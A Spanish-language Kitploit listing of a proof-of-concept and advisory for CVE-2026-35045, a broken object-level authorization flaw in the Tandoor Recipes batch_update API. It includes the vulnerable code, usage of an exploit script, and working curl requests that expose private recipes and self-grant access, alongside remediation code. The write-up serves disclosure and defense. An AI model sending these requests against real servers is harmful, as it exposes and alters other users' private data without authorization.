Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-35045-PoC — Prueba de concepto de exploit para CVE-2026-35045, una vulnerabilidad de autorización rota a nivel de objeto en Tandoor Recipes, que demuestra la modificación no autorizada de recetas a través del endpoint de API batch_update. | Kitploit
Herramientas/GitHubGitHub/filipegaudard/cve-2026-35045-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Seguridad de APIsPruebas de PenetraciónAprendizaje y Educación
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

Prueba de concepto de exploit para CVE-2026-35045, una vulnerabilidad de autorización rota a nivel de objeto en Tandoor Recipes, que demuestra la modificación no autorizada de recetas a través del endpoint de API batch_update.

Ver Repositorio
116hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-35045 — Autorización Rota a Nivel de Objeto en Tandoor Recipes

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


Resumen

El endpoint PUT /api/recipe/batch_update/ en Tandoor Recipes v2.6.1 permite que cualquier usuario autenticado dentro de un Espacio modifique cualquier receta de ese Espacio, incluidas las recetas privadas propiedad de otros usuarios. Esto elude por completo las comprobaciones de autorización a nivel de objeto aplicadas en todos los endpoints estándar de recetas individuales.

La causa raíz es una brecha de comportamiento de Django REST Framework: las acciones de lista con detail=False nunca invocan has_object_permission(), solo has_permission(). El queryset filtra únicamente por space=request.space, sin comprobar created_by, private ni la lista shared. Un atacante puede exponer a la fuerza recetas privadas, auto-concederse acceso persistente, revocar permisos de otros usuarios y manipular metadatos, todo en una única llamada API que devuelve HTTP 200 OK con cuerpo vacío.

Detalles de la Vulnerabilidad

CampoValor
ID CVECVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — Omisión de Autorización Mediante Clave Controlada por el Usuario
CVSS v3.18.1 ALTA — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Versión AfectadaTandoor Recipes ≤ 2.6.1
ProveedorTandoorRecipes/recipes

Mapeo MITRE ATT&CK

ID de TécnicaNombreRelevancia
T1078Cuentas VálidasEl atacante usa credenciales legítimas de bajo privilegio para eludir la autorización
T1565.001Manipulación de Datos AlmacenadosModificación de recetas privadas y ACL propiedad de otros usuarios

Análisis de Causa Raíz

1. detail=False Omite las Comprobaciones de Permisos a Nivel de Objeto

Archivo: cookbook/views/api.py

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← Sin comprobación de created_by ni private
        )

En Django REST Framework, las acciones registradas con detail=False son acciones de lista. Nunca llaman a get_object(), lo que significa que check_object_permissions() y CustomRecipePermission.has_object_permission() nunca se invocan. Solo se ejecuta has_permission(), que verifica la pertenencia al Espacio, no la propiedad de la receta.

2. Los Endpoints Estándar Están Protegidos Correctamente

PUT /api/recipe/{id}/ sigue el flujo completo de permisos de DRF:

root@kitploit:~
get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → deniega el acceso si la receta es privada y no es propiedad del solicitante ni está compartida con él

El endpoint batch_update omite silenciosamente toda esta cadena.

3. Campos Escribibles Mediante Batch

RecipeBatchUpdateSerializer expone los siguientes campos, escribibles en cualquier receta del Espacio:

CampoEfecto
privateAlternar la visibilidad de la receta
shared_add / shared_remove / shared_setManipular la lista de control de acceso
keywords_add / keywords_remove / keywords_setAlterar los metadatos de la receta
working_time / waiting_timeModificar los datos de tiempo de la receta

Flujo del Ataque

root@kitploit:~
┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ Atacante │ ─────────────────────────────────────→│ Servidor Tandoor│
│ (Usuario B)│   {"recipes":[2],"private":false,   │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (Miembro del │
                                                   │     Espacio)    │
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ NUNCA SE    │
                                                   │    LLAMA       │
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← Sin comprobación de propiedad
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  Receta ID 2   │
                                                   │  (propiedad de A)│
                                                   │  private=false ← parcheada
                                                   │  shared=[2]  ← auto-concedida
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ Atacante (B)   │
                                                   │ ahora tiene    │
                                                   │ acceso total   │
                                                   │ a la Receta ID 2│
                                                   └────────────────┘

Prueba de Concepto

Requisitos

  • Python 3.10+
  • Biblioteca requests
root@kitploit:~
pip install requests

Uso

root@kitploit:~
# Forzar la exposición de una receta privada y auto-concederse acceso (por defecto)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# Solo forzar exposición (establecer private=false)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# Solo auto-concesión (añadir a la lista shared, mantener private=true)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

Módulos / Acciones

AcciónDescripción
exposeEstablece private: false en la receta objetivo — fuerza la visibilidad para todos los miembros del Espacio
self_grantAñade el ID de usuario del atacante a shared_add — concede acceso persistente incluso si la receta permanece privada
bothEjecuta ambas acciones en una sola solicitud (por defecto)

Verificación Manual (curl)

1. Pre-condición — La receta es inaccesible mediante el endpoint estándar

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Esperado: 404 (privada, no es propiedad del usuario)

2. Explotación — batch_update sin autorización

root@kitploit:~
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
  -H 'Content-Type: application/json' \
  -H 'X-CSRFToken: CSRF_B' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  -d '{"recipes": [2], "shared_add": [2], "private": false}'
# Esperado: HTTP 200 OK — {}

3. Post-condición — La receta ahora es accesible

root@kitploit:~
curl -s http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Esperado: HTTP 200 con datos de la receta, private=false

4. Verificación mediante el listado de recetas

root@kitploit:~
curl -s 'http://TARGET:8085/api/recipe/' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  | python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Esperado: 2  <nombre_receta>  False

Impacto

Área de ImpactoDescripciónSeveridad
Exposición Forzada de RecetasEstablecer private: false hace que cualquier receta sea visible para todos los miembros del EspacioAlta
Auto-Concesión No AutorizadaAñadir el propio ID de usuario mediante shared_add concede acceso persistente de lectura/escritura a cualquier recetaAlta
Revocación de AccesoUsar shared_remove o shared_set para eliminar usuarios legítimos de la lista de compartidos de una recetaAlta
Manipulación de MetadatosModificar working_time, waiting_time y keywords en recetas propiedad de otros usuariosMedia

Remediación

Corrección Inmediata

Filtrar el queryset por created_by=request.user para restringir las operaciones batch a las recetas propias:

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space,
            created_by=self.request.user,  # ← Corrección: restringir a recetas propias
        )

Defensa en Profundidad

Si los administradores del Espacio necesitan la capacidad de actualizar en batch cualquier receta, añadir una condición basada en roles:

root@kitploit:~
if is_space_owner(request.user, request.space):
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
    )
else:
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
        created_by=self.request.user,
    )

Guía General para DRF

Cualquier acción con detail=False que opere sobre objetos individuales debe aplicar manualmente la autorización a nivel de objeto. has_object_permission() de DRF nunca se llama para acciones de lista — esta responsabilidad recae completamente en el desarrollador.


Referencias

  • GHSA-v8x3-w674-55p5
  • CVE-2026-35045
  • CWE-639: Omisión de Autorización Mediante Clave Controlada por el Usuario
  • DRF — Acciones Personalizadas y Comprobaciones de Permisos
  • OWASP API Security Top 10 — API1:2023 Autorización Rota a Nivel de Objeto
  • MITRE ATT&CK T1078 — Cuentas Válidas
  • MITRE ATT&CK T1565.001 — Manipulación de Datos Almacenados

Aviso Legal

Esta prueba de concepto se proporciona únicamente con fines de pruebas de seguridad autorizadas y educativos. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el uso indebido de esta herramienta.


Autor

Filipe Gaudard — Investigador de Seguridad Ofensiva | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
Descargar herramienta